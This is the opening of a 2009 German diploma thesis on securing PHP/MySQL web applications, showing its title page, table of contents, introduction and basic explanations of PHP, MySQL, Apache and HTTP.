Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und...

115
FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker (FH) Diplomarbeit - Sicherheit von PHP- und MySQL-basierten Webanwendungen - Betreuer: Dipl.-Inform. (FH) Jörg Muschiol Autor: Sebastian Schneider Ziegeleiweg 55 40591 Düsseldorf Matrikelnummer 138465 Düsseldorf, den 24. Juni 2009

Transcript of Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und...

Page 1: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

FOM Fachhochschule für Oekonomie und Management

Düsseldorf

Berufsbegleitender Studiengang zum

Diplom-Wirtschaftsinformatiker (FH)

Diplomarbeit

- Sicherheit von PHP- undMySQL-basierten

Webanwendungen -

Betreuer: Dipl.-Inform. (FH) Jörg Muschiol

Autor: Sebastian SchneiderZiegeleiweg 5540591 DüsseldorfMatrikelnummer 138465

Düsseldorf, den 24. Juni 2009

Page 2: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

I

Inhaltsverzeichnis

Abkürzungsverzeichnis VII

Abbildungsverzeichnis VIII

1 Einleitung 1

2 Grundlagen 32.1 PHP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3

2.1.1 Funktionsweise . . . . . . . . . . . . . . . . . . . . . . . . . 32.1.2 Syntax . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42.1.3 Unterschiede zwischen PHP4 und PHP5 . . . . . . . . . . 4

2.2 MySQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52.2.1 Funktionsweise . . . . . . . . . . . . . . . . . . . . . . . . . 52.2.2 Syntax . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

2.3 Apache Webserver und das Betriebssystem . . . . . . . . . . . . . 52.3.1 Der Apache-Webserver . . . . . . . . . . . . . . . . . . . . 62.3.2 Das Betriebssystem . . . . . . . . . . . . . . . . . . . . . . 6

2.4 HTTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62.4.1 Funktionsweise . . . . . . . . . . . . . . . . . . . . . . . . . 62.4.2 Request-Methoden . . . . . . . . . . . . . . . . . . . . . . . 7

2.4.2.1 GET . . . . . . . . . . . . . . . . . . . . . . . . . . 72.4.2.2 POST . . . . . . . . . . . . . . . . . . . . . . . . . 8

2.5 HTML und JavaScript . . . . . . . . . . . . . . . . . . . . . . . . . 82.5.1 HTML . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92.5.2 JavaScript . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9

3 Risiken 113.1 Architekturbedingte Risiken von PHP . . . . . . . . . . . . . . . . . 11

3.1.1 Typendeklaration und Casting . . . . . . . . . . . . . . . . . 113.1.1.1 Typisierung . . . . . . . . . . . . . . . . . . . . . . 113.1.1.2 Casting . . . . . . . . . . . . . . . . . . . . . . . . 13

3.1.2 register_globals . . . . . . . . . . . . . . . . . . . . . . . . 133.1.3 allow_url_fopen . . . . . . . . . . . . . . . . . . . . . . . . . 15

Page 3: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

II

3.1.4 allow_url_include . . . . . . . . . . . . . . . . . . . . . . . . 153.2 MySQL, Apache-Webserver und das Betriebssystem . . . . . . . . 16

3.2.1 MySQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 163.2.2 Apache-Webserver . . . . . . . . . . . . . . . . . . . . . . . 163.2.3 Betriebssystem . . . . . . . . . . . . . . . . . . . . . . . . . 16

3.3 SQL-Injections . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 173.3.1 Grundlagen . . . . . . . . . . . . . . . . . . . . . . . . . . . 173.3.2 Verwundbarkeiten auffinden . . . . . . . . . . . . . . . . . . 18

3.3.2.1 GET . . . . . . . . . . . . . . . . . . . . . . . . . . 183.3.2.2 POST . . . . . . . . . . . . . . . . . . . . . . . . . 193.3.2.3 Cookies . . . . . . . . . . . . . . . . . . . . . . . . 203.3.2.4 Servervariablen . . . . . . . . . . . . . . . . . . . 21

3.3.3 Syntax von MySQL-Injections . . . . . . . . . . . . . . . . . 213.3.3.1 WHERE Injection . . . . . . . . . . . . . . . . . . 213.3.3.2 UNION SELECT Injection . . . . . . . . . . . . . . 223.3.3.3 ORDER BY Injection . . . . . . . . . . . . . . . . 233.3.3.4 INSERT-, UPDATE- und DELETE-Injections . . . 24

3.3.4 Gefahren durch SQL-Injections . . . . . . . . . . . . . . . . 253.3.4.1 Diebstahl von Informationen . . . . . . . . . . . . 253.3.4.2 Manipulation von Daten . . . . . . . . . . . . . . . 263.3.4.3 Authentifizierung umgehen . . . . . . . . . . . . . 263.3.4.4 DoS (Denial of Service) . . . . . . . . . . . . . . . 273.3.4.5 Übernahme der Anwendung / des Servers . . . . 28

3.4 Header-Injections . . . . . . . . . . . . . . . . . . . . . . . . . . . . 293.5 NULL-Byte-Injections . . . . . . . . . . . . . . . . . . . . . . . . . 303.6 Cross-Site Scripting . . . . . . . . . . . . . . . . . . . . . . . . . . 32

3.6.1 Reflektive Angriffe . . . . . . . . . . . . . . . . . . . . . . . 323.6.2 Persistente Angriffe . . . . . . . . . . . . . . . . . . . . . . 343.6.3 Lokale Angriffe . . . . . . . . . . . . . . . . . . . . . . . . . 343.6.4 XSS-Syntax . . . . . . . . . . . . . . . . . . . . . . . . . . . 353.6.5 Folgen von Cross-Site Scripting . . . . . . . . . . . . . . . 37

3.6.5.1 Logindaten ausspähen / Sessiondiebstahl . . . . 373.6.5.2 Request Forgery . . . . . . . . . . . . . . . . . . . 37

3.7 Cross-Site Request Forgery . . . . . . . . . . . . . . . . . . . . . . 383.7.1 Ablauf eines Cross-Site Request Forgeries . . . . . . . . . 383.7.2 Gefahren für das Intranet . . . . . . . . . . . . . . . . . . . 40

3.8 Datei-Uploads . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40

Page 4: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

III

4 Sicherungsmaßnahmen 414.1 Das Betriebssystem . . . . . . . . . . . . . . . . . . . . . . . . . . 414.2 PHP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41

4.2.1 Installation . . . . . . . . . . . . . . . . . . . . . . . . . . . 414.2.2 Updates . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 424.2.3 register_globals . . . . . . . . . . . . . . . . . . . . . . . . 424.2.4 allow_url_fopen / allow_url_include . . . . . . . . . . . . . . 424.2.5 Safe Mode . . . . . . . . . . . . . . . . . . . . . . . . . . . 434.2.6 Externe Sicherheitsmodule . . . . . . . . . . . . . . . . . . 43

4.3 MySQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 434.4 Apache-Webserver . . . . . . . . . . . . . . . . . . . . . . . . . . . 444.5 SQL-Injections . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44

4.5.1 Escaping . . . . . . . . . . . . . . . . . . . . . . . . . . . . 444.5.2 Casting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 454.5.3 Blacklist-Filterung . . . . . . . . . . . . . . . . . . . . . . . 464.5.4 Prepared Statements . . . . . . . . . . . . . . . . . . . . . 464.5.5 Stored Procedures . . . . . . . . . . . . . . . . . . . . . . . 47

4.6 Header-Injections . . . . . . . . . . . . . . . . . . . . . . . . . . . . 474.7 NULL-Byte-Injections . . . . . . . . . . . . . . . . . . . . . . . . . 484.8 Cross-Site Scripting erkennen und verhindern . . . . . . . . . . . . 49

4.8.1 Kodierungen umwandeln und NULL-Bytes entfernen . . . . 494.8.2 HTML entfernen . . . . . . . . . . . . . . . . . . . . . . . . 494.8.3 HTML erlauben . . . . . . . . . . . . . . . . . . . . . . . . . 50

4.8.3.1 BBCode . . . . . . . . . . . . . . . . . . . . . . . 504.8.3.2 HTML-Filter . . . . . . . . . . . . . . . . . . . . . 51

4.8.4 Lokale Angriffe verhindern . . . . . . . . . . . . . . . . . . . 524.9 Cross-Site Request Forgery verhindern . . . . . . . . . . . . . . . 52

4.9.1 POST statt GET . . . . . . . . . . . . . . . . . . . . . . . . 524.9.2 CAPTCHAS, Passwortabfrage und Bestätigungsmails . . . 534.9.3 Einsatz von Token . . . . . . . . . . . . . . . . . . . . . . . 534.9.4 Tag-Überprüfung . . . . . . . . . . . . . . . . . . . . . . . . 55

4.10 Datei-Uploads absichern . . . . . . . . . . . . . . . . . . . . . . . . 554.11 Sichere Softwarearchitektur . . . . . . . . . . . . . . . . . . . . . . 55

4.11.1 Preisgabe von Informationen . . . . . . . . . . . . . . . . . 564.11.1.1 Informationen in der URL und in Formularen . . . 564.11.1.2 Kommentare, Metadaten und Dateialtlasten . . . . 574.11.1.3 Login . . . . . . . . . . . . . . . . . . . . . . . . . 57

4.11.2 Authentifizierung . . . . . . . . . . . . . . . . . . . . . . . . 584.11.2.1 SSL . . . . . . . . . . . . . . . . . . . . . . . . . . 58

Page 5: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

IV

4.11.2.2 Benutzernamen . . . . . . . . . . . . . . . . . . . 584.11.2.3 Passwortstärke . . . . . . . . . . . . . . . . . . . . 594.11.2.4 Stammdatenprüfung . . . . . . . . . . . . . . . . . 59

4.11.3 Sichere Passwortverwaltung . . . . . . . . . . . . . . . . . 594.11.3.1 Salting . . . . . . . . . . . . . . . . . . . . . . . . 604.11.3.2 Vergessene Passwörter . . . . . . . . . . . . . . . 61

4.11.4 Sessions . . . . . . . . . . . . . . . . . . . . . . . . . . . . 614.11.4.1 Einstellungen . . . . . . . . . . . . . . . . . . . . . 614.11.4.2 Sessionnutzung zur Authentifizierung . . . . . . . 62

4.11.5 Automatisiertes Aufbereiten von Eingaben . . . . . . . . . . 624.11.5.1 Funktionsweise . . . . . . . . . . . . . . . . . . . 624.11.5.2 Risiken . . . . . . . . . . . . . . . . . . . . . . . . 63

5 Evaluation von drei Content-Management-Systemen 655.1 Grundlagen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 655.2 Prüfschema . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66

5.2.1 Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 665.2.2 Tests . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66

5.2.2.1 SQL-Injections . . . . . . . . . . . . . . . . . . . . 665.2.2.2 Header-Injections . . . . . . . . . . . . . . . . . . 675.2.2.3 NULL-Byte-Injections . . . . . . . . . . . . . . . . 675.2.2.4 Cross-Site Scripting . . . . . . . . . . . . . . . . . 685.2.2.5 Cross-Site Request Forgery . . . . . . . . . . . . 69

5.3 Typo3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 705.3.1 Konfiguration . . . . . . . . . . . . . . . . . . . . . . . . . . 705.3.2 Softwarekern . . . . . . . . . . . . . . . . . . . . . . . . . . 70

5.3.2.1 SQL-Injections . . . . . . . . . . . . . . . . . . . . 715.3.2.2 Header-Injections . . . . . . . . . . . . . . . . . . 715.3.2.3 NULL-Byte-Injections . . . . . . . . . . . . . . . . 725.3.2.4 Cross-Site Scripting . . . . . . . . . . . . . . . . . 735.3.2.5 Cross-Site Request Forgery . . . . . . . . . . . . 74

5.3.3 Extensions . . . . . . . . . . . . . . . . . . . . . . . . . . . 745.3.3.1 SQL-Injections . . . . . . . . . . . . . . . . . . . . 745.3.3.2 Header-Injections . . . . . . . . . . . . . . . . . . 755.3.3.3 NULL-Byte-Injections . . . . . . . . . . . . . . . . 755.3.3.4 Cross-Site Scripting . . . . . . . . . . . . . . . . . 765.3.3.5 Cross-Site Request Forgery . . . . . . . . . . . . 77

5.3.4 Administrations-Backend . . . . . . . . . . . . . . . . . . . 775.3.4.1 SQL-Injections . . . . . . . . . . . . . . . . . . . . 77

Page 6: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

V

5.3.4.2 Cross-Site Request Forgery . . . . . . . . . . . . 785.3.5 Sicherheitslücken in der Vergangenheit . . . . . . . . . . . 795.3.6 Ergebnis . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80

5.4 Joomla . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 805.4.1 Konfiguration . . . . . . . . . . . . . . . . . . . . . . . . . . 805.4.2 Softwarekern . . . . . . . . . . . . . . . . . . . . . . . . . . 80

5.4.2.1 SQL-Injections . . . . . . . . . . . . . . . . . . . . 815.4.2.2 Header-Injections . . . . . . . . . . . . . . . . . . 815.4.2.3 NULL-Byte-Injections . . . . . . . . . . . . . . . . 825.4.2.4 Cross-Site Scripting . . . . . . . . . . . . . . . . . 835.4.2.5 Cross-Site Request Forgery . . . . . . . . . . . . 84

5.4.3 Extensions . . . . . . . . . . . . . . . . . . . . . . . . . . . 845.4.3.1 SQL-Injections . . . . . . . . . . . . . . . . . . . . 845.4.3.2 Header-Injections . . . . . . . . . . . . . . . . . . 855.4.3.3 Null-Byte-Injections . . . . . . . . . . . . . . . . . 855.4.3.4 Cross-Site Scripting . . . . . . . . . . . . . . . . . 865.4.3.5 Cross-Site Request Forgery . . . . . . . . . . . . 87

5.4.4 Administrations-Backend . . . . . . . . . . . . . . . . . . . 875.4.4.1 SQL-Injections . . . . . . . . . . . . . . . . . . . . 875.4.4.2 Cross-Site Request Forgery . . . . . . . . . . . . 87

5.4.5 Sicherheitslücken in der Vergangenheit . . . . . . . . . . . 885.4.6 Ergebnis . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88

5.5 Drupal . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 885.5.1 Konfiguration . . . . . . . . . . . . . . . . . . . . . . . . . . 895.5.2 Softwarekern . . . . . . . . . . . . . . . . . . . . . . . . . . 89

5.5.2.1 SQL-Injections . . . . . . . . . . . . . . . . . . . . 895.5.2.2 Header-Injections . . . . . . . . . . . . . . . . . . 895.5.2.3 Null-Byte-Injections . . . . . . . . . . . . . . . . . 905.5.2.4 Cross-Site Scripting . . . . . . . . . . . . . . . . . 915.5.2.5 Cross-Site Request Forgery . . . . . . . . . . . . 92

5.5.3 Extensions . . . . . . . . . . . . . . . . . . . . . . . . . . . 925.5.3.1 SQL-Injections . . . . . . . . . . . . . . . . . . . . 925.5.3.2 Header-Injections . . . . . . . . . . . . . . . . . . 935.5.3.3 Null-Byte-Injections . . . . . . . . . . . . . . . . . 935.5.3.4 Cross-Site Scripting . . . . . . . . . . . . . . . . . 945.5.3.5 Cross-Site Request Forgery . . . . . . . . . . . . 95

5.5.4 Administrations-Backend . . . . . . . . . . . . . . . . . . . 955.5.4.1 SQL-Injections . . . . . . . . . . . . . . . . . . . . 955.5.4.2 Cross-Site Request Forgery . . . . . . . . . . . . 95

Page 7: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

VI

5.5.5 Sicherheitslücken in der Vergangenheit . . . . . . . . . . . 955.5.6 Ergebnis . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96

5.6 Vergleichsmatrix und Ergebnis . . . . . . . . . . . . . . . . . . . . 96

6 Fazit 98

Literaturverzeichnis 99

Page 8: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

VII

Abkürzungsverzeichnis

CODE Auszeichnung von Quellcode und Code-Segmenten

BBCode Bulletin Board Code

CMS Content-Management-System

CSRF Cross-Site Request Forgery

CSS Cascading Style Sheets

DoS Denial of Service

DDoS Distributed Denial of Service

FTP File Transfer Protocol

GNU GNU’s Not Unix (rekursives Akronym)

GPL General Public License

HTML Hypertext Markup Language

HTTP Hypertext Transfer Protocol

MD5 Message-Digest Algorithm 5

MIME Multipurpose Internet Mail Extensions

PHP PHP: Hypertext Preprocessor (rekursives Akronym)

SQL Structured Query Language

SSL Secure Sockets Layer

TCP Transmission Control Protocol

TLS Transsport Layer Security

URI Uniform Resource Identifier

URL Uniform Resource Locator

W3C World Wide Web Consortium

WCMS Web-Content-Management-System

WYSIWYG What You See Is What You Get

XML Extensible Markup Language

XSS Cross-Site Scripting

Page 9: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

VIII

Abbildungsverzeichnis

4.1 Token im Joomla-Quellcode . . . . . . . . . . . . . . . . . . . . . . 54

5.1 Typo3-Kern SQL-Injection Testresultat . . . . . . . . . . . . . . . . 715.2 Typo3-Kern Header-Injection Testresultat . . . . . . . . . . . . . . 715.3 Typo3-Kern XSS Testergebnis . . . . . . . . . . . . . . . . . . . . . 735.4 Typo3-Kern Header-Injection Testresultat . . . . . . . . . . . . . . 745.5 Typo3-Extension SQL-Injection Testresultat . . . . . . . . . . . . . 745.6 Typo3-Extension XSS Testresultat . . . . . . . . . . . . . . . . . . 765.7 Typo3-Backend SQL-Injection Testresultat . . . . . . . . . . . . . . 775.8 Typo3-Backend CSRF Testresultat . . . . . . . . . . . . . . . . . . 785.9 Veränderte Webseite von Bundesinnenminister Dr. Wolfgang Schäu-

ble . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 795.10 Joomla-Kern SQL-Injection Testergebnis . . . . . . . . . . . . . . . 815.11 Joomla-Kern Header-Injection Testergebnis . . . . . . . . . . . . . 815.12 Joomla-Kern XSS Testergebnis . . . . . . . . . . . . . . . . . . . . 835.13 Joomla-Kern CSRF Testergebnis . . . . . . . . . . . . . . . . . . . 845.14 Joomla-Extension SQL-Injection Testergebnis . . . . . . . . . . . . 845.15 Joomla-Extension XSS Testergebnis . . . . . . . . . . . . . . . . . 865.16 Joomla-Backend SQL-Injection Testergebnis . . . . . . . . . . . . 875.17 Joomla-Backend SQL-Injection Testergebnis . . . . . . . . . . . . 875.18 Drupal-Kern SQL-Injection Testergebnis . . . . . . . . . . . . . . . 895.19 Drupal-Kern Header-Injection Testergebnis . . . . . . . . . . . . . 905.20 Drupal-Kern XSS Testergebnis . . . . . . . . . . . . . . . . . . . . 915.21 Drupal-Kern CSRF Testergebnis . . . . . . . . . . . . . . . . . . . 925.22 Drupal-Extension SQL-Injection Testergebnis . . . . . . . . . . . . 925.23 Drupal-Extension XSS Testergebnis . . . . . . . . . . . . . . . . . 945.24 Drupal-Backend CSRF Testergebnis . . . . . . . . . . . . . . . . . 955.25 Vergleichsmatrix Typo3, Joomla und Drupal . . . . . . . . . . . . . 96

Page 10: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

1

1 Einleitung

Webanwendungen erfreuen sich seit einigen Jahren stetig wachsender Beliebt-heit. Durch die immer weiter voranschreitende Technik konnten viele neue Funk-tionen entstehen. Mit PHP5 wurde ein großer Sprung in Sachen Objektorientie-rung und Performance vollzogen, sodass sich mit PHP auch sehr große Projek-te verwirklichen lassen. In Kombination mit dem sehr populären MySQL-Serverentstanden viele neue Webanwendungen. Doch durch die große Beliebtheit vonPHP- und MySQL-basierten Webanwendungen entstanden auch vermehrt Si-cherheitslücken, die von Angreifern ausgenutzt werden konnten. Einige Risiken,wie SQL-Injections, waren schon lange bekannt, traten aber vermehrt auf, da sichviele Programmierer der Gefahr nicht bewusst waren oder diese aus Flüchtigkeitübersahen. Andere Gefährdungen, wie Cross-Site Request Forgery, traten erstin der jüngeren Vergangenheit auf und sind noch nicht in das Bewusstsein vielerProgrammierer vorgedrungen, so dass viele Projekte auf diese Risiken nicht ad-äquat abgesichert werden.Ziel dieser Ausarbeitung ist es, die Risiken und die dazugehörigen Sicherungs-maßnahmen ausführlich vorzustellen und zu beschreiben. Im Anschluss daran,sollen drei populäre Content-Management-Systeme auf Gefährdungen und dieverwendeten Schutzmaßnahmen geprüft werden.Kapitel 2 bereitet die Grundlagen für das weitere Verständnis. Es werden PHP,MySQL, der Webserver, das Betriebssystem, http, HTML und JavaScript vorge-stellt und erläutert.In Kapitel 3 werden ausführlich Risiken betrachtet, die auf die meisten PHP-Anwendungen zutreffen. Dazu gehören unter anderem die architekturbedingtenGefährdungen, die bei der Benutzung von PHP auftreten können. Die größte undam weitesten verbreitete Gefahr von SQL-Injections wird ausführlich erläutert. Eswerden ebenfalls Risiken beleuchtet, die erst in der jüngeren Vergangenheit mehrzum Tragen gekommen sind. Dazu gehören unter anderem Cross-Site Scripting,welches JavaScript in die Anwendung einschleust, und Cross-Site Request For-gery, das im Namen eines Benutzers Anfragen ausführt, ohne dessen Wissen.Wie auf die in Kapitel 3 beschriebenen Gefahren reagiert werden kann, wird inKapitel 4 ausgearbeitet. Dort werden verschiedene Techniken vorgestellt, mit de-ren Hilfe Webanwendungen gegen Risiken und Angriffe abgesichert werden kön-

Page 11: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

2

nen. Dazu gehört die sichere Konfiguration von PHP, MySQL und dem Betriebs-system. Anschließend werden in Kapitel 5 drei populäre Content-Management-Systeme auf die beschriebenen Risiken und Sicherungsmaßnahmen getestet.

Page 12: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

3

2 Grundlagen

Webanwendungen nutzen PHP und MySQL als Grundlage sowie in vielen Fäl-len den Apache Webserver und Linux als Betriebssystem. HTML und JavaScriptwerden zur Anzeige der Webseiten im Browser des Benutzers benötigt. Per HTTPwerden Anfragen des Benutzers an die Webanwendung und deren anschließen-de Antwort übertragen. Im Folgenden werden diese Grundlagen näher betrach-tet, um das Verständnis der Funktionen und daraus resultierenden Risiken zuerhöhen.

2.1 PHP

PHP1 ist eine serverseitige Open Source Scriptsprache, die von der Syntax her ander Programmiersprache C angelegt ist2. PHP wurde 1995 von dem GrönländerProgrammierer Rasmus Lerdorf entwickelt 3. Lerdorf hatte PHP erst als Ersatzfür eine Perl-Script-Sammlung verwendet, ’PHP’ stand zu diesem Zeitpunkt nochfür ’Personal Home Page Tools’. Lerdorf entwickelte jedoch bald eine erweiterteVersion in C4. 1997 entschlossen sich Andi Gutmans und Zeev Suraski PHP vonGrund auf neu zu schreiben, da sie der Ansicht waren, die bisherige PHP-Lösungwürde neuen E-Commerce Anwendungen nicht genügen. Im Juni 1998 wurdeschließlich PHP3 veröffentlicht. Zu diesem Zeitpunkt wurde auch der Name in’PHP: Hypertext Preprocessor’ geändert5. Die aktuelle Version ist PHP 5.2.106.

2.1.1 Funktionsweise

PHP ist eine serverseitige Scriptsprache. Der PHP-Code wird auf dem jeweiligenServer von dem PHP-Interpreter verarbeitet. Die dabei generierte Ausgabe wirdanschließend an die aufrufende Quelle, in den meisten Fällen ein Browser, ge-schickt. Bei dem größten Teil der von PHP generierten Ausgaben handelt es sich

1rekursives Akronym für ’PHP: Hypertext Preprocessor’2vgl. [PHP 2009]3vgl. [LERDORF]4vgl. [LERDORF 1995]5vgl. [PHP 2009(2)]6Stand 18.06.2009

Page 13: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

4

um reinen Text. PHP ist aber auch in der Lage, Binärdateien, wie Bilder oder PDF-Dateien zu generieren. Der Client braucht bis auf einen Browser kein speziellesProgramm, um die generierten Daten darstellen zu können. Damit Webanwen-dungen überhaupt erst funktionieren können, benötigt PHP einen Webserver miteiner Schnittstelle zu dem PHP Interpreter. Das kann zum Beispiel der ApacheWebserver sein, der gerade auf Linux-Systemen weit verbreitet ist, oder auchdie Internet Information Services von Microsoft7. PHP-Dateien haben in der Re-gel die Dateiendung ’.php’, jedoch können je nach Konfiguration des Webserversbeliebige andere Endungen genutzt werden.

2.1.2 Syntax

Das ’Hallo Welt!’-Programm hat sich in der Programmierung durchgesetzt, um aufmöglichst einfache und schnelle Weise ein Programm mit der jeweiligen Program-miersprache zu erstellen, um einen kurzen Einblick in die Syntax der Sprache zugeben8:

<?php

echo ’Hallo Welt!’;

?>

Dieses kleine Code-Beispiel gibt die Zeichenkette ’Hallo Welt!’ im Browser desBenutzers aus.

2.1.3 Unterschiede zwischen PHP4 und PHP5

Viele Webhoster und Unternehmen setzen noch PHP4 auf ihren Servern ein,obwohl PHP5 schon im Juni 2005 veröffentlicht wurde und PHP4 seit August2008 nicht mehr von der PHP Group supportet wird.

Neben Bugfixes und kleineren Änderungen an Funktionen ist die größte Neue-rung in PHP5 ein komplett neues Objektmodell. Unterstütze PHP4 die objektori-entierte Programmierung nur ansatzweise, ist diese in PHP5 enorm verbessertworden. Dazu gehören Sprachkonstrukte, wie z.B. die Sichtbarkeit von Metho-den und Variablen, Interfaces, Überladung und Autoloading9. Neben dem neuenObjektmodell wurde auch der PHP-interne Zugriff auf MySQL verbessert10 sowie

7vgl. [MICROSOFT 2009]8vgl. [PHP 2009(18)]9vgl. [PHP 2009(3)]

10vgl. [PHP 2009(4)]

Page 14: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

5

ein XML-Parser eingeführt, mit dem PHP XML-Dateien vereinfacht verarbeitenkann11.

2.2 MySQL

Der MySQL Server ist ein freies, Relationales Datenbankverwaltungssystem un-ter der ’General Public License’12. Wem GPL nicht ausreicht, hat die Möglich-keit eine kommerzielle Lizenz zu erwerben. MySQL ist derzeit im Besitz von SunMicrosytems13. MySQL wurde 1994 entwickelt und unterstützt in der aktuellenVersion 5 weitgehend den SQL3-Standard14.

2.2.1 Funktionsweise

MySQL ist für zahlreiche Betriebssysteme erhältlich, neben Linux/Unix werdenunter anderem auch Windows und das Apple OS X unterstützt. Anwendungenkönnen mit dem MySQL-Server Verbindung aufnehmen und verschiedene Da-tenbankabfragen vornehmen.

2.2.2 Syntax

Die Syntax von MySQL wird im Folgenden durch eine kurze SELECT-Abfrage ver-anschaulicht. SELECT ist eine der häufigsten verwendeten Abfragen und dientdazu, gespeicherte Daten aus der Datenbank abzurufen.

SELECT Name FROM Kunden WHERE KundenNr = 12;

Diese Abfrage ruft den Inhalt des Feldes ’Name’ aus der Tabelle ’Kunden’ ab,bei dem die Kundennummer ’12’ lautet. Bei der Abfrage handelt es sich um einsehr einfaches Statement, die in Webanwendungen verwendeten Abfragen sindin den meisten Fällen weitaus komplexer.

2.3 Apache Webserver und das Betriebssystem

Jede Webanwendung benötigt auf dem Server ein Betriebssystem und einenWebserver, der die Dokumente an den Browser des Benutzers ausliefert.

11vgl. [PHP 2009(5)]12vgl. [GNU 2009]13vgl. [SUN 2009]14Structured Query Language; vgl. [SUN 2009(2)]

Page 15: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

6

2.3.1 Der Apache-Webserver

Der Apache HTTP-Server15 von der Apache Software Foundation ist der meistgenutzte Webserver im Internet16. Der Apache Webserver ging aus dem NCSAhttpd hervor und wurde 1995 als Version 1.0 veröffentlicht17. Aktuell werden dieVersionen 2.2.11, 2.0.63 und 1.3.41 frei zum Download angeboten18.

2.3.2 Das Betriebssystem

Der Apache Webserver lässt sich auf verschiedenen Betriebssystemen. Im Ge-gensatz zum Desktop-Bereich gehört Linux bei Servern zu den meist genutz-ten Betriebssystemen. Die Betriebssysteme unterscheiden sich hinsichtlich ihrerKonfiguration teilweise erheblich.

2.4 HTTP

Das ’Hypertext Transfer Protocol’ ist ein Netzwerkprotokoll, das innerhalb vonNetzwerken für die Datenübertragung verantwortlich ist. Es wird hauptsächlichzur Kommunikation zwischen Client und Server im World Wide Web genutzt, aberauch innerhalb von privaten Netzwerken. HTTP ist zustandslos, jede Anfrage wirdals unabhängige Transaktion behandelt. HTTP wurde 1989 von Tim Berners-Leebei der Europäischen Organisation für Kernforschung19 entwickelt20. HTTP benö-tigt ein Transportprotokoll, in den meisten Fällen wird dafür TCP verwendet21.

2.4.1 Funktionsweise

Soll eine Webseite von einem Server abgerufen werden, so stellt der Client (Brow-ser) eine Anfrage an den jeweiligen Server, die angeforderte Datei zurückzusen-den.

15vgl. [APACHE 2009]16vgl. [NETCRAFT 2009]17vgl. [APACHE 2009(2)]18vgl. [APACHE 2009(3)]19CERN, vgl. [CERN 2009]20vgl. [BERNERS-LEE et al. 1996]21vgl. [USC 1981]

Page 16: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

7

